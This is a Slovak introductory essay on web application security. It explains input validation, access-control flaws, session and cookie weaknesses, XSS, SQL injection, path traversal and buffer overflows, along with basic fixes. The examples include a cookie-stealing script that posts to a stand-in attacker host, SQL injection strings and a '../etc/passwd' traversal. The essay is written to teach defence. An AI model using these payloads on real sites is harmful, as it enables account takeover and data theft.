Úvod do webovskej bezpečnosti

Úvod do webovskej bezpečnosti
 
Úvod
Web je pravdepodobne najprudkejšie rozvíjajúca sa oblasť internetu. Niektorí ľudia si dokonca myslia, že web je internet. Súčasný trend je vytvárať webovské rozhrania takmer pre každú aplikáciu. Človek tak môže cez prehliadač písať poštu, chatovat, môže prispievať do diskusných fór, môže obchodovať. Práve tu sa končí starý statický web a prichádza nový, dynamický, prostredníctvom scriptovacích technológíí ako php, asp, javascript, alebo cgi, zložitejších napríklad java, tiež použitím databáz  napr. mysql. 
Tieto technológie umožňujú tvorbu oveľa komplikovaňejších interaktívnych webov. S komplexnosťou webu vzrastá jeho zložitosť.  So zložitosťou  jeho zraniteľnosť.  So zväčšujúcimi sa požiadavkami na web vzrastá aj význam jeho bezpečnosti .
 
Bežným zneužitím chýb vo webovských appoch, môže dojsť najmä k znehodnoceniu
obsahu stránky, alebo ukradnutiu súkromných údajov( ukradnutie čísel kreditných kariet, ukradnutie platených/neplatených účtov ako napr. sms/mms brány, pošta ... ), v istých prípadoch môže dojsť aj k ohrozeniu bezpečnosti serveru. To samozremje záleží od právomocí takejto aplikácie.
 
Interpretácií pojmu ‘webovská bezpečnosť’ je niekoľko. V mojej práci tým chápem
bezpečnosť týkajúcu sa výhradne webovských aplikácií, teda nie webovských serverov, klientov ( prehliadačov ) alebo  implementáciu vyššie spomenutých jazykov ( php … )
 
Zneužitie typických chýb je triviálne, kedy po publikácii chyby je len otázkou pár sekúnd vytvoriť riešenie na jej zneužitie. Rovnako lokalizácia týchto chýb je oveľa pohodlnejšia ako v iných oblastiach počítačovej bezpečnosti. Zraniteľné aplikácie sa dajú pohodlne
vyhľadať cez google.
 
Výskyt chýb
Výskyt chýb vo webovských aplikáciach je veľmi vysoký. Denne je bežne publikovaných 5-10 chýb v rôznych webovských aplikáciach. Tento vysoký počet je spôsobený jednoduchosťou ich hľadania a vysokou popularitou, keďže prakticky s minimálnym úsilím je možné získať celé databázy súkromných informácií.
 
Hľadanie chýb
Príčinou takmer všetkých známych chýb ( čo sa netýka len web. bezpečnosti ),
je nesprávne skontrolovaný vstup od užívateľa ( unvalidated input ). Teda hľadanie sa najskôr upriamuje na túto časť aplikácie. V prípade open-source aplikácií je možné hľadať priamo v zdrojovom kóde.
 
Ďalším cenným zdrojom informácií ( information leak ) je nesprávne implementovaná kontrola chýb, tzn. ak aplikácia počas behu zaznamená určitú chybu a neošetrí jej zobrazenie, chybové hlásenie sa zobrazí v okne prehliadača a ukáže potencionálnemu útočníkovi cestu ako prelomiť bezpečnosť.
 
1. Unvalidated input
Aplikácia sa chová podľa vstupu. Je naivné prepokladať , že aplikácia dostane vstup, aký očakáva. Preto je treba spraviť najmä kvalitný kód kontroly vstupu. Pochopiteľne nestačí kontrola na užívateľskej strane ( prostredníctvom javascriptu napríklad ), pretože sa jej užívateľ môže bez problémov vyhnúť. Účelná je jedine kontrola na strane servera.
Ideálne je tieto dva spôsoby kombinovať a tak rozdeliť záťaž aplikácie aj na klienta aj na server.
 
Veľa stránok sa pokúša vyfiltrovať nechcený obsah, čo nie je veľmi chytré riešenie, jednak preto, že takýto kód je zložitejší, náročnejší na spracovanie a účelovo je na tom často horšie ako kód, ktorý sa nepokúša nič filtrovať, len určiť či je celý vstup v  poriadku.
 
Podcenenie tohto kroku pri tvorbe aplikácie môže mať za následok otvorenie dverí pre rôzne ‘injection‘ techniky ,buffer overflowy a veľmi populárne XSS bugy, všetky popísané neskôr v dokumente.
 
2. Access Control
Stránky veľmi často obsahujú istý ‚user-model’( prístupový model ). To znamená, že používatelia sú rozdelení podľa ich právomocí, napríklad do skupín, alebo až podskupín.
 
Ako príklad uvediem web-fórum. Používatelia sa rozdeľujú na:
-  administrátor
-  správca fóra
-  správca threadu
-  užívateľ
 
Užívateľ napríklad nemôže zmeniť názov témy a rovnako nemôže celý thread odstrániť. Tieto právomoci má len správca threadu, prípadne fóra, alebo administrátor, ktorý spravidla nieje nijako limitovaný.
 
Rozdeleniu právomoci je potrebné prispôsobiť aplikáciu. Neprehľadne napísaný kód je obyčajne zárukov chýb. Nájsť takúto chybu je veľmi jednoduché. Často stačí pár testov priamo v prehliadači.
 
Príklad:
-  mám konto na stránke ‘page.net‘. Pri registráciu na túto stránku som zadával iste
osobné údaje a teraz ich potrebujem zmeniť. Stránka mi to umožňuje. Zmenu osobných údajov vyvolám takto:
 
page.net/edit.php?uid=23456
 
zobrazí sa mi stránka na ktorej môžem priamo meniť svoje údaje.
 
-  z tejto URL predpokladám, že moje konto je spojené s číslom 23456.
-  Skúsim iné číslo a prepokladám že je spojené s iným užívateľom.
 
page.net/edit.php?uid=23457
 
Stránka reaguje normálne, bez akéhokoľvek chybového hlásenia o neplatnom prístupe, tzn. môžem meniť aj údaje iných používateľov.

 
3. Authentication failure
HTTP je veľmi jednoduchý protokol. Preto ak stránka, resp. aplikácia poskytuje pripojenie súčasne viacerým klientom je len na nej ako ich rozpozná. Na tento účel aplikácie  používajú  tzv. Security tokeny ( to sú  session IDs, heslá, session cookies, certifikáty, prípadne aj adresy klientov )  . Tieto sa používajú buď jednotlivo, alebo v kombinácií, čím pochopiteľne dochádza k zvyšovaniu bezpečnosti.
 
3.1 Session ID
je náhodne genrované pole znakov.  Jeho účelom je najmä vytvorenie jedinečného  označenia klienta. Platí klasické pravidlo kombinatoriky. Čím dlhšie a čím náhodnejšie tým bezpečnejšie tzn. tažšsie na odhadnutie. Pri kritických aplikáciach sa security token počas jednej sessny môže aj niekoľkokrát zmeniť.
 
-  v prípade že je algoritmus generovania id odhadnuteľný,  je možné id sessny uhádnuť
-  je nutné upozorniť prehliadač aby vygenerované ids necachoval. Nebezpečné je to preto že prehliadač môže použiť iný užívateľ
-  Komunikácia by mala prebiehať cez šifrovaný kanál
 
Príklad: 7HhGuw&342(92ii0
 
3.2 Heslá
-  by mali byť dostatočne dlhé a nelinárne
-  uložené by mali byť v hashovej, alebo inej šifrovanej podobe
  - rôzne jednoduché techniky ako získať nové heslo po zabudnutí starého
  odpovedaním na otázky typu „Akej farby je obloha?”  sú dosť rizikové.
 
3.3 Cookies
Cookies sú koláčiky s dátami. Sú ďalšou populárnou metódou identifikácie používateľa.Jednoducho povedané server vytvorí cookie s obsahom, ktorý mu následne pomôže pri identifikácii klienta. Túto cookie pošle klientovi. Klient cookie odloží na disk a v prípade komunikácie so serverom, autorom cookie, mu ju pošle späť. Týmto spôsobom server vie s kým komunikuje.
 
Cookies samotné nepredstavujú bezpečnostný risk. Bezpečnosť riešenia závisi od implementácie cookies serverom. Prepokladá sa že klient nebude do cookie nijako zasahovať a že ju naspäť pošle nezmenenú. Cookie je však jednoducho meniť a netreba
nato zabúdať najmä spoliehaním sa na jej obsah !
 
Cookie si prehliadač ukladá podľa názvu stránky, ktorá mu ju poslala.
Ak teda prehliadač posiela požiadavku na túto stránku, obsiahne túto cookie v http hlavičke žiadosti.
 
3.3.1 Cookie theft
 
- ukradnutie cookie. Ukradnutie cudzej cookie útočníkom, mu môže poskytnúť dostatok informácií na bezproblémové ukradnutie sessny tzn. útočník, ktorý sa zmocní vašej session cookie získa na stránke ku ktorej táto cookie patrí rovnaké právomoci ako vy. Znamená to, že čo sa týka  platobných aplikácií napríklad, môže s vašimi peniazmi narábať ako so svojimi.
 
Príklad: Lucia si chce prečítať email. U svojeho obľúbeného webmailu
   Sa prihlási zadaním svojeho loginu a hesla. Webmail jej naspäť pošle
   Cookie, ktorou sa bude Lucia ďalej identifikovať.
 
   Cookie: name=Lucia id=27AJsndf8GshSJH
 
Výhodou tohto riešenia je, že Lucka nemusí pri každej novej požiadavke zadávať login a heslo. Webmail odteraz vie, že klient, ktorý mu pošle túto Cookie je Lucia.
 
Ak sa tejto Cookie zmocní aj niekto iný, napríklad tak, že Luciin webmail je zraniteľný na XSS, môže túto Cookie použiť rovnako ako Lucia. Nato aby sa dostal do jej pošty nepotrebuje ani jej login ani jej heslo.
   
3.3.2  Cookie poisoning
-  je zmena obsahu cookie. Zmena cookie môže mať pre potencionálneho útočníka
veľký význam najmä keď sa bezpečnostná schéma aplikácie spolieha na jej
nemennosť.
 
Príklad: Johny sa prihlási na internetový obchod. Obchod mu zašle cookie, ktorá bude slúžiť na jeho ďalšiu identifikáciu.
 
Cookie: name=John
 
 Johny veselo nakúpi a predtým ako pošle požiadavku o zaplatení, zmení identifikačnú cookie.
 
Cookie: name=Bill
 
Ak interntový obchod používa na platenie jednoduchú funkciu:
charge( cislo_kreditky ( $cookie[‘name’] ) );
zaplatí za transakciu v tomto prípade Bill.

-  prostredníctvom cookies je možné rovnako využiť kadejaké injektážne techniky, pretože cookie je de facto len ďalšia forma vstupu.
Rado sa autorizuje na stránku heslom, certifikátom a ešte aj trebár nejakým druhým heslom. Na oplátku od serveru dostane cookie na jeho ďalšiu identifikáciu.
 
Cookie: name=rado
 
Rado chce zobraziť svoje osobné údaje a zaujíma ho práve číslo kreditky.
Ak stránka túto funkciu implementuje takto:
 
if( $_COOKIE[‘login’]) {
$cislo =  mysql_command( SELECT  cislo_kreditky FROM users WHERE login = $_COOKIE[‘login’] );
echo $cislo ;
 
je zraniteľná na sql-injection bugy a v prípade, že Rado cookie upraví
Cookie: name= “rado AND ‘a’ = ‘a’”
vyššie uvedený kód zobrazí čísla kreditiek všetkých  užívateľov.

Spoliehanie sa na obsah cookie je hlúpe !
 
3.4 IP adresy
- používať Ip adresy na identifikáciu užívateľa je v súčastnosti nedostatočné. Technológie ako NAT to robia neuskutočniteľným. NAT( network address translation ) je technlógia zdielania jednej IP adresy viacerými počítačmi, viacerými užívateľmi. Rovnako možný, aj ked oveľa zriedkavejší, je scenár kedy užívateľ používa počas jednej session viac ip adries ( týka sa najmä aplikácií kritických na bezpečnosť )

4. Injection vulnerabilities ( injektážne chybičky )
Injektážne techniky sú najrozšírenejšie. Sú založené najmä na zvláštnosti
HTML, kde sa dá jeden znak vyjadriť niekoľkými spôsobmi, čo značne zťažuje
napísanie efektívnej filtrovacej funkcie.
 
Pokusy o zneužitie týchto chýb sú hlavne hrami so znakmi, sú to snahy obísť filtračné funkcie.
 
Týmto spôsobom je možné meniť obsah webstránky,  slobodne manipulovať s databázami dostupnými web. aplikáciám tzn. kradnúť sessny, kradnúť citlivé informácie ako čísla kreditných kariet, heslá a pod.
 
 
 4.1 XSS ( cross-site scripting )
 Pravdepodobne najznámejšia technika potrestania nevalidovaného vstupu.
 Prostredníctvom tejto techniky je možné priamo meniť web stránku, najčastejšie 
 vkladaním scriptu, alebo nevyžiadanou reklamou atď.
 
Ako príklad poslúži guestbook. Príspevky sú bez kontroly ukladané do databázy, a rovnako bez kontroly sú neskôr vložené do web. stránky.
 
@pole = mysql_query(“SELECT messages FROM tMessages”);
foreach $p (@pole){
 print '<td>';
 print $p; 
 print '</td>';
}
 
Absencia kontroly v prípade, že príspevok vyzerá napríklad takto:
 
„<script> document.go(attacker.site/theft?cookie=document.cookie) </script>”
 
spôsobí, ukradnutie akýchkoľvek Cookies nastavených pre túto stránku.
 
Workaround: filtrovať znaky charakteristické pre html (<, >, &, “ ... )
-  v php existuje na tento účel funkcia htmlspecialchars()
-  v perle existuje tzv. Taint checking
 
správny kód by teda vyzeral:
while(…){
…
print htmlspecialchars($p);
print </td
}
Funkcia htmlspecialchars() nás však nespasí v každom prípade.
 
Zoberme si stránku volánu takýmto spôsobom:
/page.php?image=image_name.jpg
a súčasne jej php kód
echo '<img src="' . htmlspecialchars($_GET['image']) . '” />';
 
Ak stránku zavoláme takto:
/page.php?image=javascript:alert(document.cookie);
vygeneruje sa
<img src= “javascript:alert(document.cookie);” />
 
V takomto prípade htmlspecialchars() nestačí a tento kód sa vo viacerých prehliadačoch
úspešne vykoná. Generické riešenie takéhoto problému neexistuje. Najlepšie je teda VŠETKO filtrovať a ako vstup akceptovať len rozumné znaky.
 
if ( preg_match('/^[0-9a-z_]+\.[a-z]+$/i', $_GET['image'])) {
echo '<img src="' . $_GET['image'] . '" />;';
}
 
Toto boli samozrejme ukážky pre deti. Skutočná lokalizácia XSS je očosi náročnejšia, v princípe je to hra znakov.
 
Zoznam príkladov, ktoré celkom spoľahlivo určia zraniteľnosť web stránky na takéto chyby sa nachádza na adrese  http://ha.ckers.org/xss.html.
 
 
4.2 SQL injection
SQL znamená structured-query-language. Je to jednoduchý ‘jazyk’ používaný na orientáciu v databázach (mySQL, mSQL, Oracle … ) tzn. prostredníctvom tohto jazyka je možné:
-  pridávať údaje
-  meniť údaje
-  mazať údaje
-  čítať údaje
 
to všetko na základe jednoduchej požiadavky ( query ). Princíp SQL-injection je túto požiadavku pozmeniť.
 
Zoberme si stránku, ktorá sa odkazuje na SQL server takouto požiadavkou
 
SELECT info FROM user_table WHERE user=’$logged_user’
 
Ako klient samozrejme túto syntax nevidíme ( pokiaľ nemáme priamo zdrojáky k aplikácií ), ale môžeme sa pokúšať ju odhadnúť. Napríklad tak, že do premennej $logged_user, vložíme asterisk (‘). ( $logged_user = brano’ )
 
SELECT info FROM user_table WHERE user=’brano’’
 
Takáto požiadavka obsahuje chybu v syntaxe, čo by malo za následok chybové hlásenie servera. Ak sa chybové hlásenie dostane aj k nám klientom, vieme si už predstaviť formu takejto požiadavky, tomu prispôsobiť vstup a spraviť niečo produktívnejšie ako len generovať chyby. 
 
Skúsime  $logged_user = brano’ OR ‘x’=’x
 
Požiadavka vyzerá takto:
SELECT info FROM user_table WHERE user=‘brano‘ OR ‘x‘=‘x‘
 
Pôvodnú sme infikovali kódom OR ‘x’ = ‘x’, čo v podstate znamená že namiesto informácie o jednom užívateľovi sme získali informácie o každom.
 
To je v skratke SQL-injection. Pomocou tejto techniky je možné získať často prístup k celým databázam, čo je nebezpečné najmä vtedy ak obsahujú citlivé informácie.
 
4.3 Path traversal
 - je označenie pre typy chýb týkajúce sa aplikácií, ktoré priamo otvárajú súbory cez parameter, ktorý môže užívateľ modifikovať.
- špeciálne parametre ako ‘..’ umožňujú zmeniť relatívnu cestu k súboru.
 
Príklad: stránka vytlačí obsah súboru ... ( napríklad uložený mail )
 
Stránka:
<a href=/showfile.pl?subor=A>  zobraz subor A  </a>
<a href=/showfile.pl?subor=B>  zobraz subor B  </a>
 
showfile.pl:
  print ”Content-type: text/plain”
  If( $GET[‘subor’] ){
  pipe = open( $GET[‘subor’] ) && while(<pipe>) { print $_; }
  }
 
ak niekto document zavolá týmto napríklad týmto spôsobom :
/showfile.php?subor=../../../etc/passwd
 
namiesto zobrazenia mailu dojde k zobrazeniu súboru /etc/passwd ( ak je samozrejme táto cesta k nemu platná )
 
4. Buffer overflows, format string vulnerabilities, malloc heap
  corruption bugy , ...
Pri týchto chybách ide o pretečenie bufferu, teda o situáciu keď je do bufferu vložených viac dát ako je schopný pojať. Ak je pretečenie presne vypočítané je vďaka adresovacej schéme možné odkloniť výkon programu na dodaný kód. Tieto druhy chýb sa vo webovských aplikáciach vyskytujú skutočne len zriedka. Týkajú sa najmä aplikácií programovaných v nižších ‘kompilovaných’ jazykoch ( C, ASM, pascal … ). Keďže na vývoj webov sa najčastejšie používajú interpretované jazyky, ktoré automaticky chránia pred takýmto druhom chýb,  možnosť chyby sa otvára jedine v prípade ak teda aplikácia nieje napísaná v takomto jazyku, alebo sa odvoláva na zraniteľné programy.
Zo spomenutých chýb sú najnáročnejšie na zneužitie.
 
Záver
Bezpečnosť NETREBA podceňovať !